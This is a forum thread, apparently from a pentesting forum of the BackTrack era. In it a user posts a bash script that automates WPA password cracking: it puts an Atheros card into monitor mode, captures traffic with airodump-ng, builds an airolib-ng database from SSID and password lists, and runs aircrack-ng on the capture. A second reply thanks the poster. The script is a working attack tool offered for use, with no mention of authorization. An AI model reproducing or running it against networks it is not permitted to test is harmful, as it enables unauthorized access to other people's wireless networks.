Results 1 to 2 of 2

Thread: airolib-ng script

  1. #1
    Junior Member w116tjb's Avatar
    Join Date
    Apr 2008
    Posts
    32

    Post airolib-ng script

    So I was sitting here, watching with Xploitz tutorial #4 (love your work!) on my EEE PC and I thought to myself... This would be a nice little script to help automate the process a bit. It's my first shot at bash scripting so be gentle.

    As far as I know, it'll only work in BT3beta and it'll only with with cards that can use airmon-ng, which is Atheros cards from my experience.

    A few notes:
    - The script assumes you know the channel of the AP.
    - Still need to put in a few lines for airelplay, probly open up a new window .
    - I'm sure there's some way to automate aireplay by using the capture-01.txt file that airodump spits out.
    - The ssidlist.txt and the passwords.txt need to be in the same directory as the script.
    - I'm sure there's some way to allow autocomplete for that, but I have yet to figure it out.
    - Some of the comments are quasi-irrelevant.

    Any suggestions are appreciated. Enjoy!

    I tried to link to Xploitz tutorial #4 but the forum gods said nay... I haven't made enough posts... You all know where it is though. :P

    Code:
    #########################################################################
    #    airolib_script.sh							#
    #    airolib-ng script that automates the WPA cracking process	a bit.	#
    #	by w116tjb							#
    #									#
    #########################################################################
    
    ##Set Atheros wireless card into monitor mode.
    airmon-ng start wifi0
    
    ##Choose interface in monitor mode, channel you want to scan, and
    ##what you want to name your capture file.
    read -p "What interface? " iface
    read -p "What channel? " chan
    read -p "Capture file name? " capture
    
    airodump-ng --channel $chan --write $capture $iface
    
    ##Name your database.
    read -p "Database name? " database
    
    ##Initialize your database.
    echo "airolib-ng "$database" init"
    airolib-ng $database init
    
    ##Until I can find out how to get directories to autocomplete, 
    ##you're stuck typing out the entire struture
    read -p "SSID list? " ssid_dir
    
    ##Imports the SSID list into the database.
    echo "airolib-ng "$database" import ascii essid "$ssid_dir
    airolib-ng $database import ascii essid $ssid_dir
    
    ##Again, you have to type it all out. Sorry.
    read -p "Password list? " pass_dir
    
    ##Imports the password file into the database.
    echo "airolib-ng "$database" import ascii passwd "$pass_dir
    airolib-ng $database import ascii passwd $pass_dir
    
    echo "airolib-ng "$database" clean all"
    airolib-ng $database clean all
    
    echo "airolib-ng "$database" batch"
    airolib-ng $database batch
    
    echo "airolib-ng "$database" verify all"
    airolib-ng $database verify all
    
    echo "aircrack-ng -r "$database $capture"-01.cap"
    aircrack-ng -r $database $capture-01.cap
    Quis custodiet ipsos custodes?

  2. #2
    Senior Member ShadowKill's Avatar
    Join Date
    Dec 2007
    Posts
    908

    Default

    Thanks for your contribution. I'll try it out in a bit and let you know how it turns out. As for the directory structure inputs I blieve I can help you out with that, and I'll post that info when I'm donw testing your script out

    Again, thanks for your contribution!!!!



    "The goal of every man should be to continue living even after he can no longer draw breath."

    ~ShadowKill

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •